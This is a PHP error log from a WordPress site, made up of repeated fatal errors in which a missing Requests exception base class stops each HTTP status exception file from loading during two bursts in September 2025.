[06-Sep-2025 01:49:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[06-Sep-2025 01:49:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[06-Sep-2025 01:49:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[06-Sep-2025 01:49:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[06-Sep-2025 01:49:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[06-Sep-2025 01:49:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[06-Sep-2025 01:49:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[06-Sep-2025 01:49:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[06-Sep-2025 01:49:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[06-Sep-2025 01:49:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[06-Sep-2025 01:49:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[06-Sep-2025 01:49:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[06-Sep-2025 01:49:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[06-Sep-2025 01:49:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[06-Sep-2025 01:49:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[06-Sep-2025 01:49:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[06-Sep-2025 01:49:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[06-Sep-2025 01:49:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[06-Sep-2025 01:49:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[06-Sep-2025 01:49:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[06-Sep-2025 01:49:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[06-Sep-2025 01:49:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[06-Sep-2025 01:49:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[06-Sep-2025 01:49:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[06-Sep-2025 01:49:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[06-Sep-2025 01:49:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[06-Sep-2025 01:49:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[06-Sep-2025 01:49:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[06-Sep-2025 01:49:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[06-Sep-2025 01:58:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[06-Sep-2025 01:58:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[06-Sep-2025 01:58:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[06-Sep-2025 01:58:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[06-Sep-2025 01:58:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[06-Sep-2025 01:58:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[06-Sep-2025 01:58:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[06-Sep-2025 01:58:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[06-Sep-2025 01:58:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[06-Sep-2025 01:58:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[06-Sep-2025 01:58:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[06-Sep-2025 01:58:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[06-Sep-2025 01:58:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[06-Sep-2025 01:58:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[06-Sep-2025 01:58:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[06-Sep-2025 01:58:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[06-Sep-2025 01:58:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[06-Sep-2025 01:58:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[06-Sep-2025 01:58:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[06-Sep-2025 01:58:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[06-Sep-2025 01:58:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[06-Sep-2025 01:58:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[06-Sep-2025 01:58:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[06-Sep-2025 01:58:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[06-Sep-2025 01:58:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[06-Sep-2025 01:58:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[06-Sep-2025 01:58:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[06-Sep-2025 01:58:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[06-Sep-2025 01:58:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[06-Sep-2025 01:58:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[06-Sep-2025 01:58:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[06-Sep-2025 01:58:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[06-Sep-2025 01:58:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[09-Sep-2025 17:34:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[09-Sep-2025 17:34:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[09-Sep-2025 17:34:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[09-Sep-2025 17:34:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[09-Sep-2025 17:34:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[09-Sep-2025 17:34:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[09-Sep-2025 17:34:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[09-Sep-2025 17:34:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[09-Sep-2025 17:34:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[09-Sep-2025 17:34:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[09-Sep-2025 17:34:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[09-Sep-2025 17:34:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[09-Sep-2025 17:34:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[09-Sep-2025 17:34:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[09-Sep-2025 17:34:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[09-Sep-2025 17:34:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[09-Sep-2025 17:34:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[09-Sep-2025 17:34:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[09-Sep-2025 17:34:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[09-Sep-2025 17:34:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[09-Sep-2025 17:34:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[09-Sep-2025 17:34:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[09-Sep-2025 17:34:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[09-Sep-2025 17:34:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[09-Sep-2025 17:34:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[09-Sep-2025 17:34:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[09-Sep-2025 17:34:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[09-Sep-2025 17:34:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[09-Sep-2025 17:34:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
